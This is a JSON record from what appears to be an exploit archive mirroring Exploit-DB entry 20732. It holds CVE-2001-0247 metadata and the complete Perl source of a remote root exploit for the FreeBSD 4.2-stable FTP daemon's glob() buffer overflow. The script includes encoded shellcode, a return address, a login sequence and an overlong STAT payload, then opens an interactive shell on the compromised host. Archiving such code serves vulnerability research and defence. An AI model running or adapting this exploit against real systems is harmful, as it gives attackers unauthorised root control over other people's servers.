{"exploit":{"id":"EDB-20732","name":"FreeBSD 4.2-stable - FTPd 'glob()' Remote Buffer Overflow","description":"FreeBSD 4.2-stable - FTPd 'glob()' Remote Buffer Overflow","cves":["CVE-2001-0247"],"author":"Elias Levy","published":"2001-04-16","platform":"freebsd","type":"remote","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/20732","path":"exploits/freebsd/remote/20732.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-20732.pl","vulnerabilities":[{"id":"CVE-2001-0247","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflows in BSD-based FTP servers allows remote attackers to execute arbitrary commands via a long pattern string containing a {} sequence, as seen in (1) g_opendir, (2) g_lstat, (3) g_stat, and (4) the glob0 buffer as used in the glob functions glob2 and glob3.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2001-0247","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2001-0247"},"updatedAt":"2024-08-08T04:14:06.661Z","retrievedAt":"2026-11-26T21:05:06.690Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-20732.png?v=2","url":"https://exploitbin.com/exploits/EDB-20732","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-20732/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-20732/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n# source: https://web.archive.org/web/2001/https://www.securityfocus.com/bid/2548/info\n\n\n# The BSD ftp daemon and derivatives (such as IRIX ftpd or the ftp daemon shipped with Kerberos 5) contain a number of buffer overflows that may lead to a compromise of root access to malicious users.\n\n# During parsing operations, the ftp daemon assumes that there can never be more than 512 bytes of user-supplied data. This is because that is usually how much data is read from a socket. Because of this assumption, certain memory copy operations involving user data lack bounds checking.\n\n# It is possible for users to use metacharacters to expand file/path names through interpretation by glob() and exploit these overflowable conditions. In order to do so, the attacker's ftp account must be able to either create directories or directories with long enough names must exist already.\n\n# Any attacker to successfully exploit this vulnerability would gain root access on the target host.\n\n\n###############################################################################\n# glob() ftpd remote root exploit for freebsd 4.2-stable                      #\n#                                                                             #\n# babcia padlina ltd. / venglin@freebsd.lublin.pl                             #\n#                                                                             #\n# this version requires user access and writeable homedir without chroot.     #\n###############################################################################\n\nrequire 5.002;\nuse strict;\nuse sigtrap;\nuse Socket;\n\nmy($recvbuf, $host, $user, $pass, $iaddr, $paddr, $proto, $code, $ret, $off, $align, $rin, $rout, $read);\n\n# teso shellcode ripped from 7350obsd\n\n$code  = \"\\x31\\xc0\\x99\\x52\\x52\\xb0\\x17\\xcd\\x80\\x68\\xcc\\x73\\x68\\xcc\\x68\";\n$code .= \"\\xcc\\x62\\x69\\x6e\\xb3\\x2e\\xfe\\xc3\\x88\\x1c\\x24\\x88\\x5c\\x24\\x04\";\n$code .= \"\\x88\\x54\\x24\\x07\\x89\\xe6\\x8d\\x5e\\x0c\\xc6\\x03\\x2e\\x88\\x53\\x01\";\n$code .= \"\\x52\\x53\\x52\\xb0\\x05\\xcd\\x80\\x89\\xc1\\x8d\\x5e\\x05\\x6a\\xed\\x53\";\n$code .= \"\\x52\\xb0\\x88\\xcd\\x80\\x53\\x52\\xb0\\x3d\\xcd\\x80\\x51\\x52\\xb0\\x0c\";\n$code .= \"\\x40\\xcd\\x80\\xbb\\xcc\\xcc\\xcc\\xcc\\x81\\xeb\\x9e\\x9e\\x9d\\xcc\\x31\";\n$code .= \"\\xc9\\xb1\\x10\\x56\\x01\\xce\\x89\\x1e\\x83\\xc6\\x03\\xe0\\xf9\\x5e\\x8d\";\n$code .= \"\\x5e\\x10\\x53\\x52\\xb0\\x3d\\xcd\\x80\\x89\\x76\\x0c\\x89\\x56\\x10\\x8d\";\n$code .= \"\\x4e\\x0c\\x52\\x51\\x56\\x52\\xb0\\x3b\\xcd\\x80\\xc9\\xc3\\x55\\x89\\xe5\";\n$code .= \"\\x83\\xec\\x08\\xeb\\x12\\xa1\\x3c\\x50\\x90\";\n\n#$ret = 0xbfbfeae8; - stos lagoona\n#$ret = 0x805baf8; - bss info\n$ret = 0x805e23a; # - bss lagoon\n\nif (@ARGV < 3)\n{\n\tprint \"Usage: $0 <hostname> <username> <password> [align] [offset]\\n\";\n\texit;\n}\n\n($host, $user, $pass, $align, $off) = @ARGV;\n\nif (defined($off))\n{\n\t$ret += $off;\n}\n\nif (!defined($align))\n{\n\t$align = 1;\n}\n\nprint \"Globulka v1.0 by venglin\\@freebsd.lublin.pl\\n\\n\";\nprint \"RET: 0x\" . sprintf('%lx', $ret) . \"\\n\";\nprint \"Align: $align\\n\\n\";\n\n$iaddr = inet_aton($host)\t\t\tor die \"Unknown host: $host\\n\";\n$paddr = sockaddr_in(21, $iaddr)\t\tor die \"getprotobyname: $!\\n\";\n$proto = getprotobyname('tcp')\t\t\tor die \"getprotobyname: $!\\n\";\n\nsocket(SOCKET, PF_INET, SOCK_STREAM, $proto)\tor die \"socket: $!\\n\";\nconnect(SOCKET, $paddr)\t\t\t\tor die \"connect: $!\\n\";\n\ndo\n{\n\t$recvbuf = <SOCKET>;\n}\nwhile($recvbuf =~ /^220- /);\n\nprint $recvbuf;\n\nif ($recvbuf !~ /^220 .+/)\n{\n\tdie \"Exploit failed.\\n\";\n}\n\nsend(SOCKET, \"USER $user\\r\\n\", 0)\t\tor die \"send: $!\\n\";\n$recvbuf = <SOCKET>;\n\nif ($recvbuf !~ /^(331|230) .+/)\n{\n\tprint $recvbuf;\n\tdie \"Exploit failed.\\n\";\n}\n\nsend(SOCKET, \"PASS $pass\\r\\n\", 0)\t\tor die \"send: $!\\n\";\n$recvbuf = <SOCKET>;\n\nif ($recvbuf !~ /^230 .+/)\n{\n\tprint $recvbuf;\n\tdie \"Exploit failed.\\n\";\n}\nelse\n{\n\tprint \"Logged in as $user/$pass. Sending evil STAT command.\\n\\n\";\n}\n\nsend(SOCKET, \"MKD \" . \"A\"x255 . \"\\r\\n\", 0)\t\tor die \"send: $!\\n\";\n$recvbuf = <SOCKET>;\n\nif ($recvbuf !~ /^(257|550) .+/)\n{\n\tprint $recvbuf;\n\tdie \"Exploit failed.\\n\";\n}\n\nsend(SOCKET, \"STAT A*/../A*/../A*/\" . \"\\x90\" x (90+$align) . $code .\n\tpack('l', $ret) x 30 . \"\\r\\n\", 0)\t\tor die \"send: $!\\n\";\n\nsleep 1;\n\nsend(SOCKET, \"id\\n\", 0) \t\t\tor die \"send: $!\\n\";\n$recvbuf = <SOCKET>;\n\nif ($recvbuf !~ /^uid=.+/)\n{\n\tdie \"Exploit failed.\\n\";\n}\nelse\n{\n\tprint $recvbuf;\n}\n\nvec($rin, fileno(STDIN), 1) = 1;\nvec($rin, fileno(SOCKET), 1) = 1;\n\nfor(;;)\n{\n\t$read = select($rout=$rin, undef, undef, undef);\n\tif (vec($rout, fileno(STDIN), 1) == 1)\n\t{\n\t\tif (sysread(STDIN, $recvbuf, 1024) == 0)\n\t\t{\n\t\t\texit;\n\t\t}\n\t\tsend(SOCKET, $recvbuf, 0);\n\t}\n\n\tif (vec($rout, fileno(SOCKET), 1) == 1)\n\t{\n\t\tif (sysread(SOCKET, $recvbuf, 1024) == 0)\n\t\t{\n\t\t\texit;\n\t\t}\n\t\tsyswrite(STDIN, $recvbuf, 1024);\n\t}\n}\n\nclose SOCKET;\n\nexit;\n\n--","sha256":"0e52d7ca80608e8e85300c4bbea9d9dba85856587487e24818fd952561e1463f","bytes":4645,"fetchedAt":"2026-11-27T09:09:58.108Z","encoding":"utf-8 (display only; download retains original bytes)"}